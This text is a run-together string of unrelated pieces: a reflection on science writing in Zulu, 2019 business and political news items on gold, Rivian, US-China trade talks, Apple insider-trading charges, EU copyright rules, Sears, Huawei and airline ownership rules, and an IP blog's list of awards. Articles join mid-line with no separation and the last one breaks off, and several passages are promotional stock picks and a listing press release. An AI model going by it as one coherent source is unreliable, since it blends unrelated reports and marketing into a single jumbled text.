So my news piece wasnt just a news piece. It was an attempt to tell a science story in a language that science overlookedto help right a societal wrong. It was a small contribution among an increasing number that aim to help decolonize South African science writing. And it was rife with more pitfalls than I could have imagined. The task of describing science clearly, concisely, and accuratelyalready challenging in Englishbecame exponentially more difficult in my native tongue.

I absolutely love how creating new translations and terminology provides the opportunity to escape the bad thinking of the past. For example, on dinosaur:

I encountered trouble, however, with the word dinosaur, which comes from the Greek for terrifying lizard. The term is a misnomer: Many dinosaurs bear little resemblance to lizards, and some ancient animals that looked like terrifying lizards, such as the dimetrodon, are actually more closely related to mammals than to dinosaurs. I didnt want to introduce into Zulu the same misconceptions that already plagued so many English speakers.

It is one of the hardest challenges in writing about science to escape the worn ruts of past writers, which may be easier to follow, but lead readers off in wrong directions. The great opportunity of starting fresh is that a writer can build a new way of representing the science that aligns with todays concepts and ideas.Investing.com - Gold prices edged up on Wednesday in Asia as traders digested the latest news on Sino-U.S. trade tension and a speech by U.S. Federal Reserve Chairman Jerome Powell.

In futures trading, gold's benchmark April contract on the Comex division of the New York Mercantile Exchange was up 0.2%, at $1,316.85 per ounce by 1:04 AM ET (06:04 GMT).

Gold futures hit highs above $1,300 for five-consecutive sessions through Jan. 31, peaking at $1,331.10, before profit-taking set it back.

On Tuesday, Powell said in a speech in Mississippi that many rural areas have not benefited from U.S. national prosperity.

While Powell said he didn't foresee an economic downturn, with unemployment near at a half-century low and economic output rising at a "solid pace," he said rural areas needed special support, such as access to affordable credit to start small businesses and high-quality education to train workers. It was yet another sign that the Fed was in no hurry to tighten rates.

Gold's gains were capped by a surge in equity markets, as Asian equities gained for a second day on Wednesday after more positive news on trade.

In a surprise move, U.S. President Donald Trump said on Tuesday that he is open to extending the March 1 deadline for tariff increase on Chinese goods, contradicting earlier comments from the White House that described March 1 as a hard deadline.

If were close to a deal, where we think we can make a real deal ... I could see myself letting that slide for a little while, Trump told reporters at the White House.

Meanwhile, the South China Morning Post reported that Chinese President Xi Jinping plans to meet with top U.S. officials including US Trade Representative Robert Lighthizer and Treasury Secretary Steven Mnuchin in Beijing this week.

Xi is scheduled to meet both Lighthizer and Mnuchin on Friday, it said, quoting a source briefed on the arrangements.

Stocks on Wall Street, a contrarian trade to gold, also rose on a tentative deal reached by American lawmakers to avoid another partial government shutdown. It was unclear, however, if Trump would accept that deal as Congressional aides said it did not contain the $5.7 billion he wants for a border wall.

Story continues

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Canada's Freeland pushes end of steel, aluminum tariffs in meeting with Pelosi(Bloomberg) -- General Motors Co. and Amazon.com Inc. are in talks about investing in electric-vehicle maker Rivian Automotive LLC in a deal valuing the startup at $1 billion to $2 billion, said people familiar with the matter.

The Plymouth, Michigan-based startup is working on electric pickup and sport utility vehicle and debuted concept versions at the Los Angeles Auto Show in November. Talks are progressing and a deal could be announced as soon as Friday, said one of the people, who asked not to be identified because the negotiations are private.

Trucks and SUVs are gas-guzzling cash cows for Detroit automakers. An investment in Rivian could help GM get an electric pickup to market faster and help ward off upstarts such as Tesla Inc. For Amazon, investing in Rivian would signal an ambition to shift a portion of the massive vehicle fleet that delivers its packages to zero-emission vehicles.

Rivian is being cast in the same light as Tesla, a startup thats outside the inner circle of the auto industry, and thats appealing to GM, said Jeff Schuster, senior vice president of forecasting at researcher LMC Automotive. GM could clearly do an electric pickup itself -- it has the technology and a strong base of pickup buyers. But they dont have Rivians image and separation.

Barras Hint

GM has dropped hints that a plug-in pickup could be a possibility. When asked at an investor conference in January whether the company will sell one, Chief Executive Officer Mary Barra replied to an analyst: Youll have to stay tuned.

We admire Rivians contribution to a future of zero emissions and an all-electric future, Pat Morrissey, a GM spokesman, said in a statement. Representatives for Amazon and Rivian declined to comment.

Reuters reported the talks between the three companies earlier Tuesday.

Like Tesla, Rivian acquired a vehicle assembly plant for a bargain from an established automaker. It bought a factory in Illinois for just $16 million from Mitsubishi Motors Corp. in early 2017. Tesla builds its electric cars at a facility shuttered by Toyota Motor Corp. after GM pulled out of a joint-manufacturing venture as part of its 2009 bankruptcy.

Story continues

Rivian executives have said their R1T electric pickup will be able to reach 60 miles an hour in three seconds and tow 11,000 pounds. Deliveries are expected to start in 2020.

Amazon Angle

Parcel delivery is an ideal use for electric autos, as the vehicles can begin and end trips at designated charging points and take anxiety over battery range out of the equation.

Amazon is expanding its delivery capabilities through a network of independent contractors. Some drive their own vehicles, guided by an Amazon smartphone app. Others lease fleets of vans from Daimler AGs Mercedes or Fiat Chrysler Automobiles NVs Ram and hire teams of drivers.This gives Amazon the ability to jump into the automotive space, Schuster said. Theyre probably thinking of delivery applications. And this gives them a safe entree.

Amazon last year announced a delivery service partner program that encouraged entrepreneurs around the country to start their own businesses by hiring drivers and leasing vans to make deliveries. The company helps by securing discounts on van leases, insurance and other expenses and offers a steady stream of business.

In just a few months, Amazon had more than 100 new businesses around the country making deliveries on its behalf and continues to recruit for the partners program.

The rapid growth of Amazons e-commerce business has put pressure on the company to expand capacity and reduce its reliance on its delivery partners that include United Parcel Service Inc., FedEx Corp. and the U.S. Postal Service.

Betting on Rivian would be Amazons second auto investment in short order. The company was among the participants in a $530 million funding round that self-driving startup Aurora Innovation Inc. announced this month.

(Updates with background in third paragraph.)

--With assistance from Gabrielle Coppola.

To contact the reporters on this story: David Welch in Southfield at dwelch12@bloomberg.net;Spencer Soper in Seattle at ssoper@bloomberg.net;Keith Naughton in Southfield, Michigan at knaughton3@bloomberg.net

To contact the editors responsible for this story: Craig Trudell at ctrudell1@bloomberg.net, Chester Dawson

For more articles like this, please visit us at bloomberg.com

2019 Bloomberg L.P.(Updates with Trump comments on trade talks)

By Roberta Rampton and Ben Blanchard

WASHINGTON/BEIJING, Feb 13 (Reuters) - U.S. President Donald Trump said on Wednesday trade talks with China were "going along very well" as the world's two largest economies try to resolve their seven-month tariff war ahead of a March 1 deadline for a deal.

U.S. tariffs on $200 billion worth of imports from China are scheduled to rise to 25 percent from 10 percent if the two sides don't reach a deal by then, increasing pain and costs in sectors from consumer electronics to agriculture.

Trump told reporters at the White House his administration has a "big team of people, very talented people, over in China right now, negotiating on the China deal."

"It's going along very well. We'll see what happens, but I think it's going along very well. They're showing us tremendous respect," Trump added.

Trump's comments echoed those of U.S. Treasury Secretary Steven Mnuchin, who earlier told reporters in Beijing: "So far, so good," when asked about the progress of talks.

Mnuchin, along with U.S. Trade Representative (USTR) Robert Lighthizer, arrived in the Chinese capital on Tuesday for meetings with Vice Premier Liu He, the top economic adviser to Chinese President Xi Jinping, on Thursday and Friday. Deputy-level officials started talks on Monday.

The two U.S. cabinet officials will meet with Xi on Friday, the South China Morning Post reported, citing a source briefed on the arrangements. Representatives from the USTR's office and Treasury could not immediately be reached to comment on the report.

Trump met with Liu at the White House when a Chinese delegation came to Washington for talks at the end of January.

The U.S. president had said on Tuesday that the deadline for an agreement could "slide for a little while," but he preferred not to do so. Trump added he expects to meet with Xi to close the deal at some point.

Trump's advisers have described March 1 as a "hard deadline," but Trump told reporters a delay was possible.

Story continues

Speaking to Fox News on Wednesday, White House Press Secretary Sarah Sanders said: "we'll see what happens on whether or not the president makes a move to change the deadline."

She also raised the possibility of a meeting between the leaders of the two countries, saying Trump's personal retreat at Mar-a-Lago in Florida would make a good venue.

"It will ultimately take ... President Trump and President Xi sitting down face-to-face figuring that out and getting that final deal because they are the only two that'll ultimately be able to nail that down," Sanders said.

Trump has said he did not expect to meet with Xi prior to March 1.

TALKS KICKED OFF MONDAY

U.S. Department of Agriculture Deputy Secretary Stephen Censky said on Wednesday the two presidents were expected to meet "sometime in March," but no dates were set.

"Hopefully they are going to be meeting and will be able conclude a deal," Censky told a renewable fuels conference in Orlando, Florida. "Agriculture has to be part of it. It's a necessary part of the deal."

A growing number of U.S. businesses and lawmakers hope the tariff increase is delayed while the two sides tackle the difficult U.S. demands for major structural policy changes by China. They include ending the forced transfer of American trade secrets, curbing Beijing's industrial subsidies and enforcing intellectual property rights.

The latest round of talks in Beijing kicked off on Monday at the deputy level to work out technical details, including a mechanism for enforcing any trade agreement.

China's Foreign Ministry referred questions on the talks to the Ministry of Commerce, which did not respond to a request for comment.

James Green, a senior research fellow at Georgetown University, believes China is seeking a Xi-Trump meeting, hoping it would make a near-term deal on tariffs far more likely.

"From their point of view, they would have dodged a bullet," Green, who was USTR's top official at the U.S. embassy in Beijing until mid-2018, told Reuters. (Reporting by Philip Wen, Ben Blanchard and Michael Martina in Beijing; Robarta Rampton, David Lawder, Susan Heavey and Lisa Lambert in Washington; Chris Prentice and Jarrett Renshaw in New York; Editing by Clarence Fernandez, Nick Macfie and Jeffrey Benkoe)(Bloomberg) -- At Apple Inc., former top lawyer Gene Daniel Levoff was responsible for making sure employees didnt violate insider-trading laws. It turns out he was the one who was buying and selling shares illegally, according to U.S. authorities.

Levoff, who until last year was Apples senior director of corporate law, repeatedly traded on non-public revenue-and-earnings filings dating back to 2011, the Securities and Exchange Commission and federal prosecutors said Wednesday. The illegal investments led to about $227,000 in profits, while allowing him to avoid $377,000 of losses, according to the U.S. attorneys office in Newark, New Jersey, which filed criminal charges against Levoff.

For instance, in July 2015, Levoff learned that Apple wouldnt meet analysts third-quarter forecast for iPhone sales, the SEC said in a related civil complaint. That month, he sold about $10 million of Apple stock -- virtually all of his holdings. When the company reported earnings, its shares plunged more than 4 percent. Levoff avoided losing about $345,000, the SEC said.

Levoffs attorney, Kevin Marino, said he is reviewing both the SECs civil complaint and the criminal charges. Levoff, 45, is slated to appear in federal court next week, according to Marino.

We look forward to defending him with respect to these allegations, Marino said.

Disclosure Committee

The allegations are an embarrassment for Apple, which is now reviewing policies it has implemented to prevent illicit share transactions. The company has had a mostly clean record on financial reporting issues since shareholders accused its co-founder and former Chief Executive Officer Steve Jobs of options backdating in the mid 2000s.

For someone with an inkling to trade illegally, the SEC said Levoff was well-placed. As a member of Apples disclosure committee, he got to review quarterly and annual reports, and press statements before their public release. Levoffs alleged misconduct was relatively simple for someone who worked at a cutting-edge technology giant. He would read read through internal documents he obtained as a member of Apples disclosure group and make trades in a TD Ameritrade brokerage account, prosecutors said.

Story continues

Levoffs alleged exploitation of his access to Apples financial information was particularly egregious given his responsibility for implementing the companys insider-trading compliance policy, Antonia Chion, an associate director in the SECs enforcement division, said in a statement.

2018 Termination

Apple fired Levoff in September 2018 after placing him on leave two months earlier, according to the SECs filing. Over his decade long career at Apple, he was one of the companys most senior executives, reporting directly to the companys general counsel.

After being contacted by authorities last summer, we conducted a thorough investigation with the help of outside legal experts, Apple spokesman Josh Rosenstock said in a Wednesday statement.

Levoff had responsibility for ensuring employees complied with the Apples insider-trading policy, and implemented an update of the procedures in 2015, the SEC said. He even sent an email to workers in all capital letters in 2011 reminding them that they werent permitted to trade shares based on non-public information.

The SEC is seeking monetary penalties and a prohibition on Levoff serving as an officer or director of a public company.

(Adds Apple statement in 10th paragraph.)

--With assistance from Chris Dolmetsch and Jennifer Bennett.

To contact the reporters on this story: Matt Robinson in New York at mrobinson55@bloomberg.net;Mark Gurman in San Francisco at mgurman1@bloomberg.net

To contact the editors responsible for this story: Jesse Westbrook at jwestbrook1@bloomberg.net, Gregory Mott

For more articles like this, please visit us at bloomberg.com

2019 Bloomberg L.P.* "Most Popular Intellectual Property Law Blawg" of all time according to Justia rankings , June 2021.

* "Most Popular Copyright Blawg" of all time according to Justia rankings , June 2021.

* PermaKat Eleonora Rosati listed as one of the World Intellectual Property Review's "Influential Women in IP" of 2020.

* PermaKat Eleonora Rosati listed as one of the Managing Intellectual Property magazine's "Fifty Most Influential People" of 2018.

* IPKat founder and Blogmeister Emeritus Jeremy Phillips listed as one of the Managing Intellectual Property magazine's "Fifty Most Influential People" of 2005, 2011, 2013, and 2014.

* Recommended by the European Patent Office as reading material for candidates for the European Qualifying Examinations, 2013.

* Listed as "Top Legal Blog" in The Times Online, March 2011.

2010 ABA Journal 100. * One of the only two non-US blogs listed in the Blawg100.

* Court Reporter Top Copyright Blog award winner, November 2010.

* Number 1 in the 2010 Top Copyright Blog list compiled by the Copyright Litigation Blog, July 2010.

* Selected by the United States Library of Congress for inclusion in its historic collections of Internet materials related to Legal Blawgs as of 2010.

* Top Patent Blog poll 2009: 3rd out of 50 in the "Favourite Patent Blog" poll and 2nd out of 50 in the "Most-read" poll.

Blog of the Year, 20 August 2008. * ComputerWeekly IT Law and Governance, 20 August 2008.(Adds reaction of publishing trade groups, paragraphs 16-17)

By Foo Yun Chee

BRUSSELS, Feb 13 (Reuters) - The European Union is set to rewrite its two decades-old copyright rules to ensure a level playing field between its creative industries and tech giants such as Alphabet Inc's Google and Facebook Inc, after striking a deal on the issue on Wednesday.

While the revamp is likely to result in more compensation for publishers, broadcasters and artists from online platforms, it could burden small startups with additional costs as they will be required to install upload filters to stop copyright violations.

Negotiators from the EU countries, the European Parliament and the European Commission clinched a deal after negotiations that lasted all day.

"Agreement reached on #copyright! Europeans will finally have modern copyright rules fit for digital age with real benefits for everyone: guaranteed rights for users, fair remuneration for creators, clarity of rules for platforms," EU digital chief Andrus Ansip said in a tweet.

The EU executive kicked off the debate two years ago, saying the rules needed to be overhauled to protect the bloc's cultural heritage and make sure that publishers, broadcasters and artists are remunerated fairly.

The issue pitted Google, Facebook, Microsoft Corp, Mozilla, other tech companies and even Wikipedia against publishers, among them Germany's Axel Springer, and other creators of content, triggering intense lobbying on both sides.

Lobbying group CCIA, whose members include Google and Facebook, criticised Article 11 which would force Google and Microsoft to pay publishers for displaying news snippets, and Article 13, which requires online platforms such as YouTube and Instagram to install filters to prevent users from uploading copyrighted materials.

"We fear the law could harm online innovation, scaleups, and restrict online freedoms in Europe," its vice-president, Christian Borggreen, said.

Spain and Germany in recent years tried to force Google to pay publishers for taking snippets of their news articles but that backfired after Google News pulled out from Spain and Axel Springer's traffic plunged after it sought to block the search engine.

Story continues

Lawmaker Julia Reda from the Pirate Party also voiced concerns, saying that algorithms in upload filters cannot tell the difference between copyright infringements and legal parodies.

"Requiring platforms to use upload filters would not just lead to more frequent blocking of legal uploads, it would also make life difficult for smaller platforms that cannot afford filtering software," she said.

Online platforms in existence for less than three years and with less than 10 million euros in revenue and fewer than 5 million monthly users are exempted from installing upload filters, a concession to German lobbying.

Nonprofit bodies, online encyclopaedias such as Wikipedia, and open source software platforms such as GitHub will be able to use potentially valuable data for research and educational purposes without being subjected to the copyright rules.

European consumer organisation BEUC expressed disappointment.

"It will become much harder for users to share their own, noncommercial music, video or photo creations online. This reform is not based on the reality of how people use the internet," its deputy director general, Ursula Pachl, said.

European Magazine Media Association, European Newspaper Publishers' Association, European Publishers Council and News Media Europe gave a thumbs-up to the revamp.

"If we want a future for professional journalism in the European Union, we must take action to support the press and to redress an unbalanced ecosystem," they said in a joint statement.

The agreement needs approval from the European Parliament and EU countries before it can become law. That is expected to be a formality. (Reporting by Foo Yun Chee in Brussels Editing by Tom Brown and Matthew Lewis)Naguib Sawiris Trump US-China Trade War

In what is bound to be pleasing to the ears of U.S. President Donald Trump, Egyptian billionaire Naguib Sawiris has sided with the hardline stance that the leader of the worlds largest economy has taken amid the ongoing U.S.-China trade war.

Speaking with CNBC, Sawiris agreed with Trumps well-known sentiment that China has been taking advantage of the United States and other countries.

President Trump is right about that: This has been a long time where we closed eyes on China raping us.

Sawiris has expressed his fondness for Trump in previous interviews.

Read the full story on CCN.com.Eddie Lampert, Sears chairman and new owner of all 425 Sears and Kmart locations, revealed details of his plan to turn the iconic brand around, including possibly going public.

"If I am a betting person, which I am, I would say at some point we would be public again," Lampert said to The Wall Street Journal on Wednesday, in his first interview since a New York bankruptcy judge approved his hedge fund ESL Investments $5.2 billion bid to acquire the bankrupt company.

Lampert also revealed that he wants to shrink the remaining Sears and Kmart stores, sell less apparel and hire a new CEO.

Our goal is to continue to shrink the size of our stores, he added. If I had my druthers, Id rather be bigger than smaller. We still have enough of a critical mass.

Additionally, he plans to devote more retail space to tools and appliances and focus less on selling apparel. That news comes nearly a week after competitor J.C. Penney announced its decision to ditch selling major appliances and focus on selling apparel.

In a previous statement to FOX Business, ESL said it also plans to open up more smaller stores, similar to one in Illinois that is 62,000 square feet, about one-third its original size.

The Journal said the newly restructured company, which doesnt have a name yet, will be comprised of 223 Sears stores and 202 Kmart locations, and will include both the Kenmore and DieHard brands.

In 2017, Sears sold its Craftsman brand to Stanley Black & Decker for $900 million. However, Sears still has a license to sell the products.

Whats more, Lampert said that he would remain as the companys chairman but is on the hunt for a new CEO to carry out the new plan.

Still, many are questioning Lamperts plan for Sears future.

Matthew Mason, managing director at Conway MacKenzie and former Sears attorney from 2002 and 2005, told FOX Business that while Lamperts bid is positive news for the 45,000 employees for now, that may be short lived.

Story continues

In admitting that 156 stores are weak performers, ESL is almost certainly setting the stage for additional store closures, Mason said. The long-term impact is still a major question mark.

As for the 45,000 Sears and Kmart employees who now get to keep their jobs, many say they have mixed feelings about the news.

CLICK HERE TO GET THE FOX BUSINESS APP

Im relieved and glad that 45,000 people get to keep their jobs, but Im still angry. My store is still closing, there are still people that dont have their severance. If anything Im more resolute than ever to keep fighting, Gabe Maquire, a seven-year associate at Kmart in North Carolina, whose store is shutting down in March, told FOX Business.

Related ArticlesSen. Amy Klobuchar has joined the ranks of other 2020 presidential hopefuls who are rejecting campaign contributions from corporate political action committees, CNBC has learned.

Klobuchar announced Sunday in Minneapolis that she will be running for president. She later tweeted that she's not influenced by super PACs or lobbyists.

Sen. Amy Klobuchar has joined the ranks of other Democratic 2020 presidential hopefuls who are rejecting campaign contributions from corporate political action committees, CNBC has learned.

In a brief statement first given to CNBC, campaign spokeswoman Carlie Waibel said the Minnesota lawmaker is walking away from corporate PAC money.

"The senator is not accepting contributions from corporate PACs during her campaign for president," Waibel said.

Klobuchar announced Sunday in Minneapolis that she is running for president. She later tweeted that she's not influenced by super PACs or lobbyists.

tweet

The move by Klobuchar to distance herself from PACs governed by corporations across the country comes as a wave of other Democrats running for president, including Sens. Kirsten Gillibrand and Elizabeth Warren, say that they too will not accept campaign donations from big businesses in an effort to appeal to grassroots voters.

Klobuchar has been no stranger to contributions from corporate PACs during her runs for Minnesota's Senate seat. In her 2018 re-election campaign, she raked in just under a quarter of her total haul from PACs, according to the nonpartisan Center for Responsive Politics. Of the $8 million Klobuchar raised in the last election cycle, $1.9 million came from PACs that represent industries ranging from agriculture to lobbying.

The decision to reject corporate donations is the latest move by Klobuchar to paint herself as someone who will stand up to the titans of industry.

At her snowy 2020 announcement, she made clear that one of her priorities is to regulate tech companies, such as Facebook, Google and Twitter.

Story continues

"We need to put some digital rules into law when it comes to people's privacy. For too long the big tech companies have been telling you 'Don't worry! We've got your back!' while your identities are being stolen and your data is mined," Klobuchar said.





More From CNBC

Vancouver, British Columbia--(Newsfile Corp. - February 13, 2019) - Dimension Five Technologies (CSE: DFT) is one of the latest new listing on the Canadian Securities Exchange. The company, based in Vancouver, British Columbia, Canada, is currently developing a new investing platform that helps connect early stage companies with investors.

InvestmentPitch Media has produced a "video" which provides an overview of the company. If this link is not enabled, please visit www.InvestmentPitch.com and enter "Dimension Five" in the search box.





Cannot view this video? Visit:

http://www.investmentpitch.com/

On July 1, 2018, the company purchased The App including the source code, website and other intellectual property rights from Zimtu for the issuance of 10,000,000 shares valued at $0.03 per share for a total value of $300,000. The App is the primary business of the Company.

The App helps users receive stock alerts and special notifications for companies that are cross listed in Canada and Germany - for example when stocks are trading unusual volume with news released recently, trending up, trending down, and more. There are more than 1700 crosslisted stocks that trade in Canada and Germany.

As German exchanges are 7.5 hours ahead of Canadian exchanges, The App shows which stocks were most active on German exchanges and therefore have a high potential to trade actively on Canadian exchanges next morning and vice versa. The App also automatically uncovers investment opportunities generated from Zimtu's stock market algorithms and market data for Zimtu's registered users.

Over time, the company also intends to focus on developing, marketing and acquiring other software in the investment and financial technology sector.

Chris Parr, President and CEO, stated: "With the completion of our new listing we are looking forward to further establishing our presence in the technology sector in Canada. There are tremendous opportunities for significant value creation which we intend to explore."

Story continues

Dave Hodge, Director, added: "I am very excited to be part of this new opportunity that is Dimension Five. This newly listed company will be in a strong position to take advantage of opportunities in the technology space and further create shareholder value. Dimension Five has been successful in attracting high quality, technology focused team members to move this company forward."

Craig Murata, CFO, added: "Our new CSE listing represents an important milestone for the Company. We are excited to be part of Canada's rapidly growing technology industry and look forward to creating value for our shareholders."

For more information, please visit the company's website at www.DimensionFive.ca, contact Chris Parr, President and CEO, at 604-681-1568 or by email at chris@DimensionFive.ca.

About InvestmentPitch Media

InvestmentPitch Media leverages the power of video, which together with its extensive distribution, positions a company's story ahead of the 1,000's of companies seeking awareness and funding from the financial community. The company specializes in producing short videos based on significant news releases, research reports and other content of interest to investors.

CONTACT:

InvestmentPitch Media

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bmorgan@investmentpitch.com

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To view the source version of this press release, please visit https://www.newsfilecorp.com/release/42802Choice Hotels International, Inc. CHH, which banks on solid brand presence and continual expansion for growth, has announced the opening of a hotel in greater Portland, OR. Notably, this opening marks the companys 250th hotel under its WoodSpring Suites brand and the first in the state of Oregon.

The company is quite confident about the success of this hotel as Portland is a business-friendly city. The 122 room WoodSpring hotel is a short drive from many universities, hospitals and corporate offices like Nike, Boeing, and Lithia Motors Inc. and subsidiaries of Intel, eBAY as well as Hewlett-Packard.

Ever since the acquisition of WoodSpring Suites in February 2018, extended-stay hotels have doing exceptionally well. The buyout helped RevPAR to grow by 7.6% in 2018 outpacing the industry by 470 basis points. Currently, the company has 117 hotels under its pipeline. Patrick Pacious, president and CEO of Choice Hotels said that The WoodSpring Suites brand has seen significant business delivery growth nearly every month since the acquisition.

In 2019, the WoodSpring Suites brand anticipates to open approximately 20 hotels in Miami and Orlando, FL, Sacramento, CA, and San Antonio. By the end of 2020, Choice Hotels expects to have 300 WoodSpring Suites hotels.

Meanwhile, management continues to expand its international footprint in new countries alongside domestic growth. In April, Choice Hotels announced a strategic alliance with Sercotel  a leading hotel operator and franchisor based in Spain. This alliance will enable the expansion of Choice Hotels global footprint in Spain and other markets as well as create opportunities for additional hotel development across Europe and Latin America.

Driven by its expansion strategy, shares of Choice Hotels have gained 12.3% year to date compared with the industrys 8.2% growth.

Choice Hotels, which shares space with Extended Stay America, Inc. STAY and Marriott Vacations Worldwide Corporation VAC, has a Zacks Rank #3 (Hold).

Story continues

Key Pick

A better-ranked stock in the same space includes Belmond Ltd. BEL, sporting a Zacks Rank #1 (Strong Buy). The company delivered better-than-expected earnings in the trailing two quarters. You can see the complete list of todays Zacks #1 Rank stocks here.

3 Medical Stocks to Buy Now

The greatest discovery in this century of biology is now at the flashpoint between theory and realization. Billions of dollars in research have poured into it. Companies are already generating revenue, and cures for a variety of deadly diseases are in the pipeline.

So are big potential profits for early investors. Zacks has released an updated Special Report that explains this breakthrough and names the best 3 stocks to ride it.

See them today for free >>



Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report



Marriot Vacations Worldwide Corporation (VAC) : Free Stock Analysis Report



Belmond Ltd. (BEL) : Free Stock Analysis Report



Choice Hotels International, Inc. (CHH) : Free Stock Analysis Report



Extended Stay America, Inc. (STAY) : Free Stock Analysis Report



To read this article on Zacks.com click here.



Zacks Investment ResearchFILE PHOTO: A 3-D printed Huawei logo is seen in front of displayed flag of China in this illustration, taken February 12, 2019. REUTERS/Dado Ruvic

WARSAW (Reuters) - Chinese telecoms firm Huawei is ready to work with the Polish government on additional steps to build trust, Andy Purdy, chief security officer at Huawei Technologies USA, said on Wednesday.

Poland's government is considering excluding Huawei equipment from its future 5G network over concerns first raised in the United States that Huawei technology could be equipped with back doors, sources told Reuters in January.

This week U.S. Secretary of State Mike Pompeo cautioned allies against using equipment from Huawei, saying it would make it more difficult for Washington to "partner alongside them".

In January Poland arrested a Chinese employee of Huawei and a former Polish security official on spying allegations.

(Reporting by Anna Koper; weriting by Agnieszka Barteczko; editing by Jason Neely)MIGDAL HAEMEK, Israel (AP) _ Camtek Ltd. (CAMT) on Wednesday reported fourth-quarter earnings of $5.8 million.

The Migdal Haemek, Israel-based company said it had profit of 16 cents per share. Earnings, adjusted for stock option expense, came to 17 cents per share.

The maker of automatic optical inspection and process enhancement systems posted revenue of $33.2 million in the period.

For the year, the company reported profit of $18.7 million, or 51 cents per share. Revenue was reported as $123.2 million.

For the current quarter ending in April, Camtek said it expects revenue in the range of $33.5 million to $34.5 million.

Camtek shares have risen 21 percent since the beginning of the year. The stock has climbed 27 percent in the last 12 months.

_____

This story was generated by Automated Insights (http://automatedinsights.com/ap) using data from Zacks Investment Research. Access a Zacks stock report on CAMT at https://www.zacks.com/ap/CAMTIAG has stopped sales of its stock to investors outside of the European Union (EU).

The parent of BA, Iberia, and Aer Lingus is almost majority owned by non-EU citizens, a breach of EU rules.

The parent company of British Airways and Iberia has stopped the sales of its stock to investors outside of the European Union.

EU-ownership rules dictate that more than half of an airline's stock must be held by shareholders that are based within the economic bloc.

International Consolidated Airlines Group (IAG) was at risk of breaching that level with 47.5 percent of shares now held by non-EU citizens. Qatar Airways holds almost half of the non-EU allowance with its 22 percent stake in the group.

The filing to the market was released late Monday. Shortly before midday London time on Tuesday, AIG's stock was languishing toward the bottom of the FTSE 100, more than 1 percent lower.

The restriction on British Airways is likely to become even more complicated when Brexit is enacted at the end of next month.

After the U.K. leaves the European Union, U.K. shareholders in airlines will no longer count toward the required 50 percent minimum EU ownership.

IAG, Ryanair and easyJet could reportedly attempt to comply with the ownership rules by ensuring that when British investors sell stock, it is immediately bought by EU investors.





More From CNBC

SINGAPORE, Feb 13 (Reuters) - Woodside Petroleum and Chevron Corp have planned major maintenance works at their liquefied natural gas (LNG) facilities in Western Australia over April to September.

Woodside has planned major maintenance at its 4.9 million-tonnes-per-annum Pluto LNG facility for about one month from April to May, a company spokeswoman said on Wednesday.

It has also planned major maintenance at its North West Shelf project's Goodwyn A platform train 2 for 21 days and LNG train 1 for 19 days, both in July, she said.

An integrated North West Shelf project maintenance is also planned for September, including major work on LNG train 5 for 19 days, fractionation for 14 days, North Rankin Complex for 19 days and North Rankin train 2 for 20 days, she said.

Separately, Chevron said it has planned work at its Gorgon LNG facility from May 23 to July 9 that will involve the shutdown of a little more than half a train.

The three-train Gorgon project, one of the world's largest natural gas projects, can produce 15.6 million tonnes of LNG annually from its three trains, according to Chevron's website. (Reporting by Jessica Jaganathan in SINGAPORE and Sonali Paul in MELBOURNE; Editing by Tom Hogue)Aurora Cannabis (NYSE:ACB) has been a rocket this year, with Aurora Cannabis stock spiking about 44%. But things got off to a rocky start this week when the shares dropped by 5%. The main concern for ACB stock investors? The upcoming earnings report. Although the stock has since recovered some of the losses, its still worth a deeper look into their concerns.

Marijuana stocks



Click to Enlarge

Source: Shutterstock

So lets take a look at the fiscal second-quarter results.

Revenue came close to quadrupling to C$54.2 million (in Canadian dollars), while the Street was looking for C$51.84 million (although, there are only two analysts with estimates). Last month, ACB issued its own forecast, which called for the top-line to range from C$50 million and C$55 million.

InvestorPlace - Stock Market News, Stock Advice & Trading Tips

This hyper-growth should be no surprise. In October, the Canadian government legalized cannabis for recreational purposes. While there were supply issues and other snafus, the demand was off-the-charts. Note that ACB generated C$21.6 million from the consumer category in the quarter. This came to roughly 20% of marketshare.

However, ACBs bottom line was far from inspiring. The company posted a massive loss of C$237.8 million, which was mostly due to charges from investments in cannabis companies. Keep in mind that the company is required to make adjustments to changes in market values.

There was also deterioration in gross margins, which is probably the biggest factor impacting Aurora Cannabis stock. They plunged from 70% to 54% on a quarter-over-quarter basis.

But on the earnings call, CFO Glen Ibbott noted that the company should be able to reach EBITDA positive by fiscal Q4. He also showed that the company has been disciplined with operating costs. And yes, there should be a big help from surging revenues and improvements in the production process.

In the meantime, the medical business continues to get traction. There are currently over 73,000 patients in Canada and ACB is conducting 40 clinical trials and seven pre-clinical studies. Even just a few drug launches could have a major impact on revenues.

Story continues

All this means that high-quality production at scale is critical. To this end, ACB is running at annual production of about 120,000 kilograms and this is expected to increase by 30,000 within a month or so.

Bottom Line on Aurora Cannabis Stock

ACB stock is far from cheap. Consider that the market cap is at a hefty $7.3 billion. But then again, the rest of the sector is trading at premium valuations, as seen with Canopy Growth (NYSE:CGC), Tilray (NASDAQ:TLRY) and Cronos Group (NASDAQ:CRON).

But this is to be expected because of the massive growth opportunities in the sector. According to Altria (NYSE:MO) CEO Howard Willard, the spending on cannabis is expected to reach $40 billion within the next ten years on a global basis. As a testament to his enthusiasm for the sector, he recently invested $1.8 billion in CRON.

As for ACB, it has leveraged its highly valued stock to pull off aggressive M&A. This has allowed the company to gain important footholds in areas like Europe and South America (there is now a presence in 22 countries across five continents). ACB also has been able to assemble a large retail business in Canada.

Now as for Aurora Cannabis stock, there will be continued volatility. This is normal for any high-growth company. Besides, the business is diversified, well funded (with a recent convertible note offering of $345 million) and the M&A strategy looks spot on. In other words, for those looking for a play on cannabis, ACB stock is a pretty good choice.

Tom Taulli is the author of High-Profit IPO Strategies, All About Commodities and All About Short Selling. Follow him on Twitter at @ttaulli. As of this writing, he did not hold a position in any of the aforementioned securities.

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The post Is Aurora Cannabis Stock Worth a Buy on Stratospheric Sales? appeared first on InvestorPlace.The German share price index DAX graph at the stock exchange in Frankfurt The German share price index DAX graph is pictured at the stock exchange in Frankfurt, Germany, September 13, 2018. REUTERS/Staff/Files

By David Randall

NEW YORK (Reuters) - Hopes for a resolution in a prolonged trade spat between the United States and China helped extend a week-long rally in world stock markets on Wednesday, and bond yields also climbed.

European shares rose 0.6 percent following broad gains in Asia. MSCI's gauge of stocks across the globe gained 0.44 percent.

Bond yields climbed as investors sold safe-haven government bonds in favour of riskier assets like equities. Benchmark 10-year notes last fell 7/32 in price to yield 2.7075 percent, from 2.684 percent late on Tuesday.

U.S. President Donald Trump said on Tuesday he could let a March 1 deadline for a trade deal with China "slide" if the two sides were not close on agreement. But he added he was "not inclined" to delay raising tariffs.

